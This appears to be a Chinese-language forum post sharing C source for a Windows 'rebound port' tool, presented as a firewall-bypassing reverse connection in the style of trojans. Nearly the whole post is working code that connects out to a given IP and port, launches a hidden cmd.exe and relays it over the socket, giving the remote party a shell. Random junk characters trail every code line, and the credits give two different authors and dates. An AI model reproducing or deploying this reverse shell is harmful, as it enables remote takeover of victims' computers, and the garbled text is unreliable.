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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4F#%f#"  
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/* ============================== ^#SBpLw  
Rebound port in Windows NT GW m4~]0E  
By wind,2006/7 _w u*M  
===============================*/ P[i\e7mR  
#include 2P}I'4C-  
#include f1cl';  
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#pragma comment(lib,"wsock32.lib") P;U@y" s  
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void OutputShell(); Rt4di^v  
SOCKET sClient; Jt=>-Spj  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Bymny>.M  
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void main(int argc,char **argv) OgMI  
{ +VOb  
WSADATA stWsaData; w-rOecwFvu  
int nRet; [ b1hC ~I;  
SOCKADDR_IN stSaiClient,stSaiServer; [thboP.?  
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if(argc != 3) Uf2:gLrF  
{ c E76L%O  
printf("Useage:\n\rRebound DestIP DestPort\n"); xqWj|jA  
return; i^/54  
} K` (#K#n  
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WSAStartup(MAKEWORD(2,2),&stWsaData); u4"r>e6 _B  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L8P 36]>  
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stSaiClient.sin_family = AF_INET; l>Av5g)  
stSaiClient.sin_port = htons(0); K-@bwB7~s  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); M,..Kw/ }~  
l2/ @<0P  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) jgRCs.6  
{ o;;,iHu*  
printf("Bind Socket Failed!\n"); (,tHL  
return; chLeq  
} ~CFMIQ et  
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stSaiServer.sin_family = AF_INET; K%2I  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); NsmVddj  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,"H?hFQ  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4*8&[b  
{ uBRw>"c_*8  
printf("Connect Error!"); EXHR(t}e  
return; C'<'7g4  
} _3&/(B%H  
OutputShell(); :uvc\|:s  
} <Kp+&(l,l  
J|?[.h7tO  
void OutputShell() j],& z^O$  
{ 8MQ bLj'H  
char szBuff[1024]; *`.LA@bHU  
SECURITY_ATTRIBUTES stSecurityAttributes; ,;3:pr  
OSVERSIONINFO stOsversionInfo; BhkAQEsWTQ  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Iaa|qJ4  
STARTUPINFO stStartupInfo; Wa, 7P2r  
char *szShell; BHclUwj  
PROCESS_INFORMATION stProcessInformation; RAOKZ~`  
unsigned long lBytesRead; lko3]A3  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);  8bGD  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %&1$~m0  
stSecurityAttributes.lpSecurityDescriptor = 0; F*!gzKZ"  
stSecurityAttributes.bInheritHandle = TRUE; \7DCwu[0M  
hU+#S(t>b  
p XNtN5@FQ  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Cz[5Ug'V  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~Jxlj(" 0(  
B3 .X}ys#  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `&,_xUA  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /J.0s0 @  
stStartupInfo.wShowWindow = SW_HIDE; (zEYpTp  
stStartupInfo.hStdInput = hReadPipe; |rFJ*.nD  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; i&pMF O  
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GetVersionEx(&stOsversionInfo); #:I^&~:  
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switch(stOsversionInfo.dwPlatformId) (xQI($Wq*M  
{ fv/v|  
case 1: -s33m]a;  
szShell = "command.com"; D:6N9POB  
break; C\/b~HU  
default: m&ZJqsZIL  
szShell = "cmd.exe"; R/rcXX7%  
break; 9Q=>MOB-  
} ^T+<!k  
1sMV`qv>  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !,R  
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send(sClient,szMsg,77,0); /t5g"n3  
while(1) 9?!u2 o  
{ F*. /D~K  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \CDAFu#  
if(lBytesRead) 13\Sh  
{ a YR\<02  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); uzO {{S-  
send(sClient,szBuff,lBytesRead,0); CP@o,v-  
} b sMC#xT  
else |&(H^<+Xp  
{ o KlF5I  
lBytesRead=recv(sClient,szBuff,1024,0); Qw}xGlF,  
if(lBytesRead<=0) break; ko>M&/^  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); pj j}K  
} O/nqNQ?<  
} |<'10  
C~:b*X   
return; 7Z VVR*n|  
}
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